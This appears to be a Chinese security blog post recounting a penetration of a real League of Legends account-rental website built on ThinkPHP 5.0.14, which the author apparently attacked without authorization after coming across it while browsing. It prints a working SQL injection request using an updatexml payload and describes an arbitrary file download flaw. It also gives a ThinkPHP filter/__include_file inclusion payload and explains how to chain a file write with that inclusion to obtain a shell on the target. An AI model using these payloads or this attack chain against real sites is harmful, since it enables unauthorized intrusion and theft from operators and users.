对英雄联盟租号平台的渗透
2022-10-28 08:3:59 Author: 李白你好(查看原文) 阅读量:44 收藏

免责声明

由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

01 环境变量

有一天正当我愉快的网上冲浪时,遇到了一个英雄联盟的租号平台,哼哼,租号平台?这不得让我让我好好看看。

02 让我看看你是个啥

租号的界面是这样的,可以购买各种区各种账号的卡密,然后通过卡密发货

根据网站的icon_hash特征在fofa上收到很多同模板网站,这样的话这套模板可能是开源的,

首先第一步,收集必要的信息,通过路径扫描找到了后台登录 xxx/admin/login.html,通过后台的验证码初步判定是thinkphp的框架

尝试错误路径,确定是thinkphp的二开站

通过暴露出来的一些特征,成功的找到了这套系统的源码,接下来就是愉快的代码审计时间。

03 代码审计

1.sql注入

既然是thinkphp,很有可能存在注入,可以先看看tp的版本然后找找有没有注入。base.php看到版本是5.0.14,是存在insert,update注入的。

然后就是全局搜索看有没有使用了inset()或者是update()的地方并且判断传入的参数是否可控、有没有进行过滤。筛查后发现在add方法里面调用了insert()方法,也没有对data的数据进行任何过滤,可惜的是,这个点需要后台权限,并不能直接利用。不过既然既然审计到了,还是复现一下吧。

直接调用这个接口,post方法传入参数。这里的参数id是随便试的。数据库的表中含有的最常见的字段就是id了,所以这里用的是id。收获一枚无法直接利用的注入。

payload

POST /manage/product/add HTTP/1.1
Host: 127.0.0.1
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: http://127.0.0.1/static/app/default/css/font-awesome.min.css
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: s39d30e70=dqgtmt998bpvf7tkp76cl8o009
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

id[0]=inc&id[1]=updatexml(1,concat(0x7,user(),0x7e),1)&id[2]=1

2.任意文件下载

继续看其他得代码,在manage的backup类里面发现了downloadbak()方法,方法中的file_name来自于用的输入并且没有进行任何过滤。当文件存在时候,直接打开文件。

在该站的根目录下,放着数据库初始化文件zyu.sql,这里以读取该文件为例。

收货一枚任意文件读取,同样可惜的是这个漏洞也是需要权限的,在没有权限的情况下没办法直接利用。

04 代码执行漏洞

没有审出能够直接拿权限的漏洞,由于thinkphp的版本是5.0.14试一试thinkphp报出来的代码执行漏洞能不能成。

然而我尝试直接执行命令,结果被目标站的disablefunction拦截的不要不要的。

可恶!看来没有办法直接执行命令,只能曲线救国,尝试包含目录。

payload

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202206/27.log

真实环境居然没有写日志的地方QAQ,只能再找一找有没有能够写文件的地方,找找上传图片和下log的代码,然后顺利的找到了这个。

最开始尝试写的时候发现post的内容写不进去但是有请求(第一条),这里设计知识点 Coentent-Type仅在取值为application/x-www-data-urlencoded和multipart/form-data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST。只有Content-Type为application/x-www-data-urlencoded时,php://input数据才跟$_POST数据相一致。

这里修改Content-Type以后发现完全可以写进去。

这里这个点再配和thinkphp的文件包含,就可以拿到该站点的shell了。

05 往期精彩

BurpSuite靶场系列之身份验证

实战打穿外企的内网

如何拿下自己学校的大屏幕(Bypass)

从敏感文件泄露到Getshell

威胁情报&&CVE仓库送达!

文章来源:网络安全情报攻防站

原文地址:https://t.zsxq.com/04NZbUZvR

如需转载本样式风格、字体版权请保留出处:李白你好


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247494814&idx=1&sn=0465a2a084d2ccb29efb2f7597128af2&chksm=c09a9fcef7ed16d8265906c784f48ff07e91d5a98bb7110aeef965448871c8b2c16d096ce58e#rd
如有侵权请联系:admin#unsafe.sh